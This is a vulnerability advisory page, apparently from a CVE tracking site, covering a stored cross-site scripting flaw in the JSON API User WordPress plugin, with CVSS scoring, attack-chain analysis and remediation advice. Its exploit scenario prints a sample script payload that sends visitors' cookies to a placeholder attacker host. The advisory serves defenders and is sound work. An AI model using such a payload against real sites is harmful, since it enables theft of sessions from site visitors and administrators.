Skip to main content

JSON API User EUVDEUVD-2026-41490

| CVE-2026-9626 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-03 Wordfence GHSA-4689-rgvq-62r3
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Self-register or obtain subscriber-level WordPress account
  2. Delivery
    POST crafted XSS payload in `content` parameter with `comment_approved=1`
  3. Exploit
    Plugin passes unsanitized `comment_content` to `wp_insert_comment()`
  4. Execution
    Malicious comment stored in database, immediately approved without moderation
  5. Persist
    Victim loads affected WordPress page
  6. Impact
    Injected script executes in victim's browser session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated WordPress account with subscriber-level access or above on the target site running JSON API User plugin version 4.1.0 or earlier. The vulnerable endpoint is post_comment within the plugin's API controller. The self-approval bypass requires only that the caller supply comment_approved=1 in the request - no additional privilege is checked by the plugin for this parameter. Sites with open user registration are the highest-risk deployments because an attacker can self-provision the required subscriber account without any prior foothold. Sites that have disabled open registration and control all subscriber accounts reduce the attack surface to trusted-insider or account-takeover scenarios. WordPress's built-in comment moderation queue is not a limiting factor because the plugin allows callers to bypass it. The scope change (S:C) means that while a subscriber account is needed to plant the payload, exploitation impact extends to any visitor's browser session, including unauthenticated visitors and administrators.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, score 6.4) reflects network-accessible exploitation with low complexity, requiring only a subscriber-level account, with a scope change indicating the impact escapes the WordPress server and executes in victim browsers. The PR:L requirement is the primary friction point: on sites with closed registration, an attacker must already possess or compromise a subscriber account, which meaningfully reduces exposure. On sites with open registration, however, this barrier is effectively removed and the vulnerability becomes exploitable by any internet user willing to self-register. The self-approval bypass (comment_approved=1) eliminates moderation as a detective or preventive control, making the stored payload immediately live without any administrative review. No EPSS data was provided in the source intelligence, no CISA KEV listing is present, and no confirmed public POC was identified - exploitation status is unconfirmed. Real-world priority is moderate-to-high for WordPress deployments with open registration or untrusted subscriber accounts, and low for closed, invite-only sites with strict account controls.

Exploit ScenarioDerived

An attacker self-registers a subscriber account on a WordPress site with open registration enabled, then sends a crafted POST request to the plugin's post_comment API endpoint with a JavaScript payload in the content parameter (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) and the comment_approved=1 flag set. The comment is stored in the WordPress database without sanitization and immediately published, bypassing moderation. Any authenticated user - including administrators - who subsequently visits the page containing the injected comment has their browser session silently exposed to the attacker's script. No confirmed public POC was identified at time of analysis, though the source code is publicly browsable in the WordPress plugin SVN repository, making independent reconstruction trivial.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 03, 2026

Stored Cross-Site Scripting in the JSON API User WordPress plugin (versions ≤ 4.1.0) allows authenticated attackers with subscriber-level or higher access to inject persistent JavaScript via the content parameter of the post_comment API endpoint. The plugin's post_comment() function passes attacker-controlled comment_content directly to WordPress's native wp_insert_comment() without any HTML sanitization, and a compounding design flaw permits callers to supply comment_approved=1 to self-approve comments and entirely bypass the WordPress moderation queue. No public exploit code or CISA KEV listing is confirmed at time of analysis; however, the CVSS scope-change flag (S:C) and low authentication barrier make this a meaningful risk on any site permitting open user registration.

RemediationAI

Update the JSON API User plugin to version 4.1.2 or later, which addresses the missing sanitization in post_comment() and the unauthorized comment_approved self-approval, as evidenced by the Trac changeset at https://plugins.trac.wordpress.org/changeset?old_path=%2Fjson-api-user/tags/4.1.0&new_path=%2Fjson-api-user/tags/4.1.2. If immediate patching is not feasible, disabling the JSON API User plugin entirely removes the vulnerable endpoint with no impact on core WordPress functionality - this is the recommended interim control. As a secondary compensating measure, disabling open user registration (WordPress Admin → Settings → General → uncheck 'Anyone can register') prevents unauthenticated threat actors from self-provisioning the subscriber accounts needed to exploit this vulnerability; note this does not protect against pre-existing untrusted subscriber accounts. A WAF rule blocking <script> or event-handler injection in API comment payloads can provide additional depth-in-defense, though WAF bypasses are common for XSS and this should not be treated as a primary control.

Affected VersionsENISA

JSON API User 0 ≤4.1.0

Affected Packages

euvd json_api_user no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The JSON API User plugin (vendor: parorrey, CPE: cpe:2.3:a:parorrey:json_api_user:*:*:*:*:*:*:*:*) extends WordPress with REST-like API endpoints for user management and content interaction. The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation) and is localized to the post_comment() function within controllers/User.php (publicly browsable at lines 979, 995, and 1007 in the 4.1.0 tag). The function accepts the caller-supplied content parameter and channels it as comment_content into WordPress's wp_insert_comment() without invoking standard sanitization routines such as wp_filter_comment() or kses-based HTML filtering. A second independent flaw in the same function accepts and honors a caller-supplied comment_approved=1 parameter, granting low-privileged API callers the ability to bypass the site's comment moderation queue - a capability normally reserved for editors and administrators. Together, these two weaknesses allow a subscriber-level account to persistently store executable script payloads that fire in any site visitor's browser on page load.

Know when Json Api User gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS requires a victim to visit the injected page (UI:R); subscriber-level account to plant payload (PR:L); scope change reflects browser context escape (S:C).

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The JSON API User plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter of the post_comment API endpoint in versions up to, and including, 4.1.0 This is due to insufficient input sanitization in the post_comment() function, which passes the attacker-controlled comment_content value directly to wp_insert_comment() without applying any HTML sanitization, and additionally allows the caller to set comment_approved=1 to self-approve the comment and bypass moderation. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Prevalence
Low
niche WordPress plugin with limited enterprise deployment footprint
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy